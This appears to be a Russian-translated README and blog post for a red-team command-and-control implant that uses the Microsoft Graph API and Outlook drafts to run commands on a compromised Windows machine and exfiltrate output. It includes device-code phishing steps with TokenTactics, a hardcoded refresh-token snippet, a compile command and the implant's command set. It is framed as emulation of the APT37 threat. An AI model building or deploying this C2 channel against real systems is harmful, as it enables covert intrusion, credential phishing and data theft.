
Azure Outlook Command & Control (C2) — Удаленное управление скомпрометированным устройством Windows из вашего почтового ящика Outlook. Инструмент эмуляции угроз для северокорейских APT InkySquid / ScarCruft / APT37. TTP: Использование Microsoft Graph API для операций C2.
Azure Outlook Command & Control, использующий Microsoft Graph API для C2-коммуникаций и эксфильтрации данных.
Удалённое управление скомпрометированным устройством Windows через ваш почтовый ящик Outlook.
Elastic Security Labs обнаружила активные вторжения в дикой природе с использованием SIESTAGRAPH. SIESTAGRAPH взаимодействует с Microsoft GraphAPI для управления и контроля через Outlook и OneDrive. Ознакомьтесь с их отличными блогами по анализу вредоносного ПО, посвящённым C2-коммуникациям Azure Outlook, ниже.


Если у вас есть информация о похожих проектах, данные CTI об использовании этого TTP в дикой природе APT/группами-вымогателями, рекомендации по защите, советы для Red Teamers, заинтересованных в эмуляции угроз Azure C2, или любая другая информация, которая будет хорошим дополнением к этому блогу/readme, пожалуйста, свяжитесь со мной или отправьте Pull Request. Спасибо!
Этот проект состоит из импланта, который отправляет сигналы (beacon) в почтовый ящик Azure Outlook, контролируемый атакующим. Этот почтовый ящик действует как Command & Control (C2), удалённо управляя скомпрометированным устройством. Refresh Token Azure для почтового ящика C2 атакующего жёстко закодирован в импланте во время компиляции. При запуске на устройстве Windows имплант обращается к почтовому ящику Drafts атакующего через Microsoft Graph API. Имплант читает команды из почтового ящика Drafts атакующего, выполняет их локально на скомпрометированном устройстве Windows и возвращает результаты выполнения атакующему через создание новых черновиков сообщений. Имплант повторяет это поведение удалённого управления из почтового ящика атакующего до тех пор, пока процесс-хост импланта не будет завершён.
Около полугода назад я начал работать в Red Team в SpiderLabs Red Team компании Trustwave. Во время одного из проектов мне выпала честь работать с легендарным Stephan Borosh (rvrsh3ll|@424f424f). Стив и Matt Kingstone научили меня всему об Azure Domain Fronting, и я был поражён тем, что трафик Command & Control может быть эксфильтрован через HTTPS с использованием легитимных доменов, таких как ajax.microsoft.com. Он даже использует TLS-сертификаты Microsoft! К сожалению для меня, я начал работать в Red Team в то время, когда Domain Fronting на Azure умер. Хотя Domain Fronting на Azure был мёртв, оставалось ещё много отличных техник Red Team, которые можно было реализовать с Azure.
Стив познакомил меня с фишингом Azure Device Code. В это время я глубоко погрузился в Azure и Microsoft Graph API для Red Teaming. Мы создали инструмент TokenTactics, основанный на отличной работе Dr. Nestori Syynimaa (@DrAzureAD), и написали блог The Art of the Device Code Phish, если вас интересует наша методология.
Создавая TokenTactics и экспериментируя с MS Graph API, я обнаружил, что возможно использовать Microsoft Graph API в качестве канала C2. Существует множество различных способов использования MS Graph API как канала C2, и я не единственный (и не первый), кто это обнаружил. VX-Underground, созданный @smelly__vx — создателем/публикатором техники HellsGate, опубликовал информацию в прошлом месяце о том, что северокорейская группа Advanced Persistent Threat (APT) "InkySquid" (также известная как ScarCruft и APT37) использует Microsoft Graph API для операций C2. После публикации тизера этого проекта в Twitter и LinkedIn, несколько специалистов DFIR отметили, что эта техника использования Microsoft Graph API для C2 активно применяется группами вымогателей в дикой природе уже несколько месяцев.
Во время одного из Red Team-проектов я пытался заставить Cobalt Strike работать с MS Graph API в качестве канала C2. К сожалению, это не удалось, но это всё ещё будущая цель. Проблема, с которой я столкнулся при попытке заставить это работать с Cobalt Strike, заключается в том, что MS Graph API использует два токена для связи. Первый токен — Refresh Token, который может действовать до 90 дней. Второй токен, Access Token, — это временный токен, действующий около часа. Прямая связь с MS Graph API осуществляется через аутентификацию с помощью Access Token. Как только Access Token истекает, Refresh Token можно использовать для получения новых Access Token. Поскольку я всё ещё новичок в Red Teaming и разработке Cobalt Strike, я не мог понять, как использовать профиль Malleable C2 от Cobalt Strike для поддержки постоянного получения новых Access Token и отправки этих меняющихся Access Token в заголовке Authorization HTTPS-запросов beacon'а. После публикации тизера в Twitter Joe Vest, Alfie Champion и другие звёзды сообщества дали мне отличные направления, как заставить это работать с Cobalt Strike! Надеюсь, в будущем появится продолжение этого проекта для Cobalt Strike ;)

graph.microsoft.com.WinInet для HTTPS-связи.cmd, sleep, exit
cmd: Принимает следующую строку после мета-команды и выполняет её, порождая дочерний процесс.sleep: Принимает следующее слово после мета-команды и изменяет время сна импланта на указанное значение (в миллисекундах).PS C:\Users\boku\Desktop\TokenTactics-main> Import-Module .\TokenTactics.psd1
PS C:\Users\boku\Desktop\TokenTactics-main> Get-TenantID -domain theharvester.world
1d5551a0-f4f2-4101-9c3b-394247ec7e08
char tenantId[] в файле azureOutlookC2.c.# Импортируйте модуль TokenTactics в сеанс PowerShell
PS C:\Users\boku> cd .\TokenTactics
PS C:\Users\boku\TokenTactics> Import-Module .\TokenTactics.psd1
# Запустите запрос фишинга через код устройства, чтобы получить 'user_code'
PS C:\Users\boku> Get-AzureToken -Client Graph
user_code : ERDVDCNHH
user_code из TokenTactics и войдите с пользователем почтового ящика C2.char refreshToken[] в файле azureOutlookC2.c.void main() {
// Переменные
char refreshToken[] = "0.AXwAoFFVHfL0AUGcOzlCR-x-CNYOWdOzUgJBrv-q0ikqsBx8ACA.AgABAAAAAA...
// ^Вставьте свой refresh token сюда и скомпилируйте
azureOutlookC2.c.# Скомпилируйте с x64 MinGW:
bobby.cooke$ cat compile.sh
x86_64-w64-mingw32-gcc -m64 -mwindows -Os azureOutlookC2.c -o azureOutlookC2.exe -lwininet
bobby.cooke$ bash compile.sh
azureOutlookC2.exe на устройстве Windows.outlook.office.com и управляйте устройством Windows, на котором работает имплант, через свой почтовый ящик.exit: Завершает/уничтожает процесс-хост.cmd, имплант создаёт дочерний процесс для выполнения команды, дочерний процесс записывает свой стандартный вывод в канал, дочерний процесс завершается после выполнения команды, а процесс-хост импланта читает вывод дочернего процесса через канал.